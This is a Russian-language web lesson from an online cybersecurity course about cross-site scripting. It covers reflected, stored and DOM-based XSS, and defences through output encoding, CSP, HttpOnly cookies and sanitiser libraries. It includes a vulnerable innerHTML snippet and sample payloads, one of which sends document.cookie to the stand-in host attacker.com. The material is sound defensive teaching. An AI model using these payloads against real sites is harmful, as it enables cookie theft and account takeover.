0Pricing
Cyber Security Academy · Урок

Межсайтовый скриптинг (XSS)

Изучите отражённые, сохранённые и основанные на DOM XSS-атаки на реальных полезных нагрузках и способы защиты с помощью CSP

«Межсайтовый скриптинг (XSS)» — бесплатный урок Cyber Security Academy на CoddyKit. Это урок 2 из 4. Ты можешь прочитать весь урок бесплатно ниже — а потом практиковать его прямо в браузере с встроенным редактором кода и ИИ-репетитором 24/7. Это часть пути обучения Cyber Security Academy, и твой прогресс синхронизируется между веб-версией и приложением CoddyKit. Курс Cyber Security Academy содержит 4 уроков всего.

Что такое XSS

Межсайтовый скриптинг (XSS) возникает, когда злоумышленник внедряет вредоносный JavaScript в веб-страницу, которую просматривают другие пользователи. Браузер выполняет этот скрипт в контексте сеанса жертвы, что позволяет украсть файлы cookie, записывать нажатия клавиш и изменять страницу.

Отражённый XSS

Отражённый XSS (не сохраняемый): вредоносный скрипт включается в запрос (например, как параметр URL) и отражается в ответе. Жертва должна перейти по специально созданной ссылке. Пример: https://site.com/search?q=<script>alert(1)</script>

Сохраняемый XSS

Сохраняемый XSS (постоянный): вредоносный скрипт сохраняется в базе данных (например, в комментарии или поле профиля) и показывается каждому посетителю. Он опаснее отражённого XSS, поскольку специальная ссылка не нужна: скрипт выполняется при каждом просмотре страницы.

XSS на основе DOM

XSS на основе DOM возникает, когда JavaScript считывает данные, контролируемые злоумышленником (хэш URL или параметр запроса), и записывает их в DOM без очистки. Атака происходит полностью на стороне клиента; сервер никогда не видит полезную нагрузку.

// Vulnerable code:
document.getElementById("msg").innerHTML = location.hash.slice(1);
// Attack URL: https://site.com/page#<img src=x onerror=alert(1)>

Последствия XSS

Что злоумышленник может сделать с помощью XSS:

  • Украсть файлы cookie сеанса (document.cookie) → захватить учетную запись
  • Записывать нажатия клавиш (красть вводимые пароли)
  • Перенаправить пользователя на фишинговые сайты
  • Выполнять действия от имени жертвы (CSRF через XSS)
  • Изменить содержимое страницы

Полезные нагрузки XSS

Простые тестовые полезные нагрузки:

<script>alert(document.cookie)</script>
<img src=x onerror="fetch('https://attacker.com/?c='+document.cookie)">
<svg onload=alert(1)>

Кодирование вывода

Основная защита: кодируйте все данные вывода, контролируемые пользователем, перед вставкой в HTML. Преобразуйте специальные символы в сущности HTML: < → &lt;, > → &gt;, " → &quot;.

Используйте кодирование, соответствующее контексту: HTML, JS, URL, CSS.

Политика безопасности содержимого (CSP)

CSP — это заголовок ответа, который сообщает браузеру, каким скриптам разрешено выполняться. Строгая CSP блокирует встроенные скрипты и ограничивает источники:

# Response header:
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com;
# Blocks all inline JS and scripts from unauthorized domains

Файлы cookie HttpOnly

Установка флага HttpOnly для файлов cookie сеанса не позволяет JavaScript считывать их через document.cookie. Даже если XSS сработает, злоумышленник не сможет украсть токен сеанса. Это самый важный уровень защиты наряду с кодированием вывода.

Библиотеки очистки данных

Если пользователям необходимо разрешить ввод HTML (например, в редакторах форматированного текста), используйте библиотеку очистки данных, а не пишите собственную:

  • DOMPurify (JavaScript)
  • bleach (Python)
  • OWASP Java HTML Sanitizer

Тестирование XSS

Тестируйте XSS с помощью инструментов разработчика браузера, Burp Suite или автоматизированных сканеров. Проверяйте все поля пользовательского ввода, параметры URL, заголовки HTTP и функции-приёмники DOM: innerHTML, document.write, eval, setTimeout со строковыми аргументами.

Быстрая проверка: XSS

Какой тип XSS сохраняет вредоносную полезную нагрузку в базе данных, из-за чего она выполняется для каждого посетителя затронутой страницы?

Итоги урока

XSS внедряет JavaScript в страницы, которые просматривают жертвы. Типы: отражённый (на основе URL), сохраняемый (сохраняется в базе данных), на основе DOM (на стороне клиента). Основные меры защиты: кодирование вывода, файлы cookie HttpOnly и политика безопасности содержимого. Для очистки HTML используйте DOMPurify. Никогда не вставляйте непроверенные данные пользователя в innerHTML и не передавайте их в eval().

Часто задаваемые вопросы

Урок «Межсайтовый скриптинг (XSS)» бесплатный?

Да — полный текст урока «Межсайтовый скриптинг (XSS)» бесплатно доступен здесь в веб-версии. Чтобы практиковать его интерактивно (встроенный редактор кода и ИИ-репетитор 24/7) и разблокировать остальной курс Cyber Security Academy, подпишись на CoddyKit PRO. Курс Cyber Security Academy содержит 4 уроков всего.

Чему я научусь в уроке «Межсайтовый скриптинг (XSS)»?

Изучите отражённые, сохранённые и основанные на DOM XSS-атаки на реальных полезных нагрузках и способы защиты с помощью CSP Ты практикуешь Cyber Security Academy с помощью реального кода, который запускаешь прямо в браузере, и ИИ-репетитор 24/7 отвечает на твои вопросы во время урока.

Нужен ли мне опыт, чтобы начать Cyber Security Academy?

Предыдущий опыт не требуется. Cyber Security Academy на CoddyKit структурирован для всех уровней — от новичков до продвинутых, поэтому ты можешь начать отсюда или с самого начала и учиться в своем темпе. Это урок 2 из 4.

Сколько времени занимает урок «Межсайтовый скриптинг (XSS)»?

Большинство уроков CoddyKit занимают около 5–10 минут. Каждый из них компактный и интерактивный, поэтому ты постоянно делаешь прогресс и продолжаешь с того же места в веб-версии и приложении.

Можно ли писать и запускать код в этом уроке Cyber Security Academy?

Да. Каждый урок Cyber Security Academy включает встроенный редактор кода, поэтому ты пишешь и запускаешь реальный код прямо в браузере и получаешь моментальную обратную связь от AI — локальная установка не требуется.

Все уроки этого курса

  1. SQL-инъекции: как и почему они работают
  2. Межсайтовый скриптинг (XSS)
  3. Межсайтовая подделка запроса (CSRF)
  4. Небезопасная конфигурация и открытые сервисы
← Назад к Cyber Security Academy